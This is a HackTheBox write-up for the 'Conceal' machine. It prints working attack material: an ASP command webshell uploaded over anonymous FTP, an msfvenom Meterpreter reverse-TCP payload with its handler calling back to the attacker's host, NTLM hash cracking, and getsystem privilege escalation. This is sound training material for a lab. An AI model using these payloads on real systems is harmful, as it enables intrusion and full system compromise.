Conceal - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Conceal is a hard-difficulty Windows 10 machine (Build 15063) that teaches IPsec/IKE VPN configuration and firewall bypass techniques. The box presents an unusual enumeration challenge where all TCP ports are initially firewalled, requiring an IPsec transport-mode connection to reveal services. SNMP enumeration leaks an NTLM hash used as the IPsec Pre-Shared Key. Once the VPN tunnel is established, anonymous FTP allows uploading an ASP webshell to gain initial access as a low-privileged user. Privilege escalation leverages SeImpersonatePrivilege through Meterpreter’s built-in token impersonation capabilities to achieve SYSTEM access.

TL;DR: UDP SNMP leak → crack NTLM PSK → configure strongSwan IPsec transport mode → bypass firewall → FTP anonymous upload ASP webshell → RCE as Destitute → Meterpreter getsystem (SeImpersonate) → SYSTEM

Reconnaissance

Port Scanning

Initial TCP scan revealed no open ports due to aggressive firewall rules:

# Full TCP port scan returns no results
nmap -p- -T4 --min-rate=1000 10.129.228.122

Switching to UDP enumeration revealed available services:

# UDP scan on common ports
nmap -sU -T4 -p1-1000 10.129.228.122

Results:

• UDP 500 - IKE (Internet Key Exchange)
• UDP 161 - SNMP

IKE Enumeration

IKE (Internet Key Exchange) is used to establish secure IPsec VPN connections. Using ike-scan to fingerprint the VPN configuration:

# Stop any existing ipsec service to free port 500
sudo ipsec stop 2>/dev/null
sleep 1

# Scan IKE service
ike-scan 10.129.228.122

Output:

Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.228.122  Main Mode Handshake returned HDR=(CKY-R=2b2db4f1274b91dc)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration(4)=0x00007080) VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)
VID=<redacted> (RFC 3947 NAT-T) VID=<redacted> (draft-ietf-ipsec-nat-t-ike-02\n)
VID=<redacted> (IKE Fragmentation) VID=<redacted> (MS-Negotiation Discovery Capable)
VID=<redacted> (IKE CGA version 1)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.043 seconds (23.50 hosts/sec).
1 returned handshake; 0 returned notify

Key Parameters Identified:

• Encryption: 3DES-CBC
• Hash: SHA1
• DH Group: 2 (modp1024)
• Authentication: PSK (Pre-Shared Key)
• IKE Version: v1

The Auth=PSK parameter indicates we need a pre-shared key to establish the VPN connection.

SNMP Enumeration

SNMP (Simple Network Management Protocol) often contains valuable system information:

# Walk SNMP tree with public community string
snmpwalk -v2c -c public 10.129.228.122

Critical Finding:

iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 25 Model 1 Stepping 1
AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)"
iso.3.6.1.2.1.1.4.0 = STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"
iso.3.6.1.2.1.1.5.0 = STRING: "Conceal"

The sysContact field (OID 1.3.6.1.2.1.1.4.0) contains the string “IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43”.

The 32-character hex string matches the format of an NTLM hash.

Hash Cracking

# Save hash to file
echo '9C8B1A372B1878851BE2C097031B6E43' > /tmp/psk.hash

# Crack NTLM hash with hashcat
hashcat -m 1000 -a 0 \
  --potfile-path=/tmp/psk.pot \
  -o /tmp/psk.out \
  /tmp/psk.hash \
  /usr/share/wordlists/rockyou.txt

Result:

Hash.Mode........: 1000 (NTLM)
Status...........: Cracked
9C8B1A372B1878851BE2C097031B6E43:Dudecake1!

The NTLM hash cracks to reveal the PSK: Dudecake1!

Vulnerability Assessment

1. SNMP Information Disclosure - sysContact field leaking VPN credentials (NTLM hash)
2. Weak PSK - Pre-shared key crackable with common wordlist (rockyou.txt)
3. IPsec-Based Firewall Bypass - TCP firewall rules only apply to non-IPsec traffic
4. Anonymous FTP Write Access - After IPsec established
5. SeImpersonatePrivilege - Exploitable for privilege escalation

Initial Foothold

IPsec Configuration with strongSwan

strongSwan is a complete IPsec implementation for Linux. We need to configure it to establish an IPsec transport-mode connection using the parameters discovered during enumeration.

Configure Pre-Shared Key:

# Edit /etc/ipsec.secrets
sudo bash -c 'echo "10.129.228.122 : PSK \"Dudecake1!\"" > /etc/ipsec.secrets'

The format is <remote_ip> : PSK "<key>". The local IP is implicit.

Configure Connection Parameters:

# Edit /etc/ipsec.conf
sudo tee -a /etc/ipsec.conf > /dev/null <<'EOF'

conn Conceal
    type=transport
    keyexchange=ikev1
    right=10.129.228.122
    authby=psk
    rightprotoport=tcp
    leftprotoport=tcp
    esp=3des-sha1!
    ike=3des-sha1-modp1024!
    auto=add
EOF

Parameter Explanation:

• type=transport - Transport mode encrypts only the payload, not the IP header (vs. tunnel mode which encapsulates entire IP packet). This is crucial for bypassing the firewall.
• keyexchange=ikev1 - IKE version 1 protocol (discovered via ike-scan)
• right=10.129.228.122 - Remote gateway/peer IP
• authby=psk - Authentication using pre-shared key
• rightprotoport=tcp / leftprotoport=tcp - Establish IPsec SA only for TCP traffic
• esp=3des-sha1! - ESP (Encapsulating Security Payload) cipher suite: 3DES encryption + SHA1 HMAC. The ! forces this exact proposal.
• ike=3des-sha1-modp1024! - IKE Phase 1 cipher suite with Diffie-Hellman group 2
• auto=add - Load connection but don’t automatically initiate

Establish Connection:

# Restart IPsec service
sudo ipsec restart

# Bring up the connection
sudo ipsec up Conceal

Output:

Starting strongSwan 6.0.5 IPsec [starter]...
received NAT-T (RFC 3947) vendor ID
received draft-ietf-ipsec-nat-t-ike-02\n vendor ID
received FRAGMENTATION vendor ID
selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
generating ID_PROT request 0 [ KE No NAT-D NAT-D ]
sending packet: from 10.10.15.180[500] to 10.129.228.122[500] (244 bytes)
...
IKE_SA Conceal[1] established between 10.10.15.180[10.10.15.180]...10.129.228.122[10.129.228.122]
...
selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ
CHILD_SA Conceal{1} established with SPIs cc98dcf2_i 2fd65998_o and
TS 10.10.15.180/32[tcp] === 10.129.228.122/32[tcp]
connection 'Conceal' established successfully

The message “connection ‘Conceal’ established successfully” confirms the IPsec Security Association (SA) is active. The transport-mode SA for TCP traffic effectively bypasses the firewall rules.

Post-IPsec Port Scanning

Now that IPsec is established, TCP ports become accessible. We must use -sT (TCP connect scan) instead of the default SYN scan, as SYN packets require raw socket access that doesn’t work well through IPsec:

# Full TCP connect scan through IPsec tunnel
nmap -sT -T4 --min-rate=1000 -p- 10.129.228.122

Results:

21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
7680/tcp  open  pando-pub
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

The firewall has effectively disappeared for TCP traffic originating from our IPsec peer.

FTP Enumeration

# Test anonymous FTP access
curl -s ftp://10.129.228.122/ --user 'anonymous:anon@x.com'
# Returns empty (no error = successful login)

# Check if there's an upload web directory
curl -s -o /dev/null -w '%{http_code}\n' http://10.129.228.122/upload/
# 200

Anonymous FTP is enabled, and there appears to be an /upload/ directory on the web server.

Testing FTP-to-Web Mapping

# Create test file
cat > /tmp/exist.asp <<'EOF'
<% Response.Write "EXISTS-OK" %>
EOF

# Upload via FTP
curl -s --max-time 20 -T /tmp/exist.asp \
  ftp://10.129.228.122/exist.asp \
  --user "anonymous:anon@x.com"

# Verify via HTTP
curl -s http://10.129.228.122/upload/exist.asp

Output:

EXISTS-OK

This confirms FTP uploads are directly accessible via http://10.129.228.122/upload/. The physical path is likely C:\inetpub\wwwroot\upload\.

ASP Webshell Upload

# Create ASP command execution webshell
cat > /tmp/cmd.asp <<'EOF'
<%
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec("cmd /c " & theCommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll & objCmdExec.StdErr.ReadAll
End Function
%>
<pre><%= getCommandOutput(Request.QueryString("cmd")) %></pre>
EOF

# Upload webshell
curl -s --max-time 20 -T /tmp/cmd.asp \
  ftp://10.129.228.122/cmd.asp \
  --user "anonymous:anon@x.com"

# Test command execution
curl -s "http://10.129.228.122/upload/cmd.asp?cmd=whoami"

Output:

<pre>conceal\destitute
</pre>

We have remote code execution as the low-privileged user CONCEAL\Destitute.

User Flag Retrieval

# Check privileges
curl -s "http://10.129.228.122/upload/cmd.asp?cmd=whoami+/priv"

# Read user flag
curl -s "http://10.129.228.122/upload/cmd.asp?cmd=type+C:\Users\destitute\Desktop\user.txt"

Privileges Output:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Key Finding: SeImpersonatePrivilege is Enabled - this is exploitable for privilege escalation.

User Flag: <redacted>

Privilege Escalation

System Enumeration

From the SNMP output earlier, we know the system is running Windows 10 Build 15063 with no hotfixes applied. This build is vulnerable to several privilege escalation vectors:

1. CVE-2018-8440 - ALPC Task Scheduler Local Privilege Escalation
2. Token Impersonation - Via SeImpersonatePrivilege (JuicyPotato, PrintSpoofer, etc.)

Meterpreter Payload Strategy

Given that the /upload/ directory is periodically cleaned by a scheduled task, we need to:

1. Generate a Meterpreter payload
2. Start the handler first
3. Upload and execute the payload quickly before cleanup

Generate Payload:

# Generate x64 Meterpreter reverse TCP payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.15.180 \
  LPORT=443 \
  -f exe \
  -o /tmp/s.exe

Start Metasploit Handler:

# Create handler resource script
cat > /tmp/handler.rc <<'EOF'
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.180
set LPORT 443
set ExitOnSession false
set EnableStageEncoding true
run -j
EOF

# Start handler in tmux session
tmux new-session -d -s msf "msfconsole -q -r /tmp/handler.rc 2>&1 | tee /tmp/msf.log"

# Wait for handler to initialize
sleep 20

Upload and Execute Payload:

# Re-upload webshell (in case it was cleaned)
curl -s --max-time 15 -T /tmp/cmd.asp \
  ftp://10.129.228.122/cmd.asp \
  --user "anonymous:anon@x.com"

# Upload Meterpreter executable
curl -s --max-time 25 -T /tmp/s.exe \
  ftp://10.129.228.122/s.exe \
  --user "anonymous:anon@x.com"

# Execute payload via webshell (returns immediately)
curl -s --max-time 12 \
  "http://10.129.228.122/upload/cmd.asp?cmd=C:\inetpub\wwwroot\upload\s.exe" &

# Check for session
sleep 12
tmux send-keys -t msf "sessions -l" Enter

Handler Output:

[*] Encoded stage with x64/xor_dynamic
[*] Sending encoded stage (245711 bytes) to 10.129.228.122
[*] Meterpreter session 2 opened (10.10.15.180:443 -> 10.129.228.122:49679)

Active sessions
===============

  Id  Name  Type                     Information            Connection
  --  ----  ----                     -----------            ----------
  2         meterpreter x64/windows  CONCEAL\Destitute @ C  10.10.15.180:443 ->
                                     ONCEAL                 10.129.228.122:49679

Privilege Escalation via Meterpreter getsystem

Meterpreter’s getsystem command implements multiple techniques for privilege escalation. With SeImpersonatePrivilege enabled, it can create a named pipe, impersonate SYSTEM tokens, and escalate privileges without requiring external binaries.

# Interact with session
tmux send-keys -t msf "sessions -i 2" Enter
sleep 2

# Attempt privilege escalation
tmux send-keys -t msf "getsystem" Enter
sleep 6

# Verify privileges
tmux send-keys -t msf "getuid" Enter
sleep 3

Output:

meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Success! The getsystem command successfully escalated to NT AUTHORITY\SYSTEM using technique 5 (Named Pipe Impersonation with PrintSpooler variant).

This technique works because:

1. The user has SeImpersonatePrivilege enabled
2. Meterpreter creates a named pipe
3. Triggers the Print Spooler service to connect to the pipe
4. When the service connects, Meterpreter impersonates the SYSTEM token
5. Creates a new SYSTEM-level process

This is similar to how JuicyPotato and PrintSpoofer work, but implemented natively in Meterpreter.

Root Flag Retrieval

# Read root flag
tmux send-keys -t msf "cat C:\\\\Users\\\\Administrator\\\\Desktop\\\\root.txt" Enter
sleep 3

Root Flag: <redacted>

Attack Chain Summary

UDP Scan (161 SNMP, 500 IKE)
    ↓
SNMP Walk → IKE VPN PSK (NTLM Hash: 9C8B1A372B1878851BE2C097031B6E43)
    ↓
Hashcat NTLM Crack → PSK: Dudecake1!
    ↓
strongSwan IPsec Transport Mode (IKEv1, 3DES-SHA1-modp1024, TCP only)
    ↓
TCP Firewall Bypassed → Ports Accessible (21 FTP, 80 IIS)
    ↓
FTP Anonymous Upload → cmd.asp webshell @ /upload/
    ↓
ASP RCE as CONCEAL\Destitute → User Flag
    ↓
Meterpreter x64 Payload Upload + Execute
    ↓
SeImpersonatePrivilege + getsystem (Named Pipe Impersonation / PrintSpooler)
    ↓
NT AUTHORITY\SYSTEM → Root Flag

Tools Used

Key Learnings

Techniques Practiced

• IPsec/IKE enumeration with ike-scan to identify VPN parameters
• SNMP information disclosure exploitation
• strongSwan IPsec configuration for transport mode connections
• Firewall bypass via IPsec - demonstrating how transport-mode IPsec can circumvent network filtering
• Anonymous FTP write access to web-accessible directories
• ASP classic webshell deployment and command execution
• SeImpersonatePrivilege exploitation via Meterpreter’s native token impersonation
• Meterpreter getsystem techniques (Named Pipe Impersonation)

Lessons Learned

1. Always enumerate UDP ports - Critical services like IKE (500) and SNMP (161) run on UDP and are often overlooked in default scans.

2. SNMP can leak sensitive information - The sysContact field and other OIDs may contain credentials, configuration details, or other valuable intelligence. Always walk the entire MIB tree with public/private community strings.

3. NTLM hashes in unexpected places - The 32-character hex string format is distinctive. When found outside of typical Windows contexts (like in SNMP), recognize it as potentially crackable with mode 1000.

4. IPsec transport mode as a firewall bypass - Unlike tunnel mode (which encapsulates entire packets), transport mode only encrypts the payload. This allows it to traverse firewalls that block normal TCP traffic but permit IPsec/ESP. This is a realistic enterprise misconfiguration.

5. strongSwan syntax specifics - The ! suffix in cipher specifications (esp=3des-sha1!) forces exact matching and prevents negotiation to other algorithms. The rightprotoport=tcp / leftprotoport=tcp parameters restrict the IPsec SA to only TCP traffic.

6. TCP connect scan required through IPsec - Use nmap -sT instead of default SYN scans when operating through IPsec connections, as raw socket manipulation doesn’t work properly.

7. File upload persistence issues - The /upload/ directory was cleaned periodically by a scheduled task. In real engagements, always account for defensive mechanisms that remove artifacts. Start listeners before uploading payloads.

8. SeImpersonatePrivilege is powerful - On modern Windows, this privilege (granted to service accounts like IIS app pools) allows token impersonation attacks. Meterpreter’s getsystem implements multiple techniques (Named Pipe Impersonation with service triggering) without requiring external binaries.

9. Meterpreter getsystem technique 5 - Uses Named Pipe Impersonation combined with Print Spooler triggering. More reliable than older techniques (1-4) on modern Windows and doesn’t require uploading separate exploit binaries like JuicyPotato.

10. Build 15063 lacks patches - Windows 10 Build 15063 (Creators Update) without hotfixes is vulnerable to CVE-2018-8440 (ALPC Task Scheduler LPE) and multiple token impersonation exploits. Always check systeminfo hotfix status.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

Technical explanation of IPsec transport mode, IKE parameters, strongSwan configuration syntax, ALPC Task Scheduler LPE (CVE-2018-8440), and alternative privilege escalation vectors (JuicyPotato) referenced from official HackTheBox writeup by MinatoTW (Document No D19.100.20, 08 May 2019).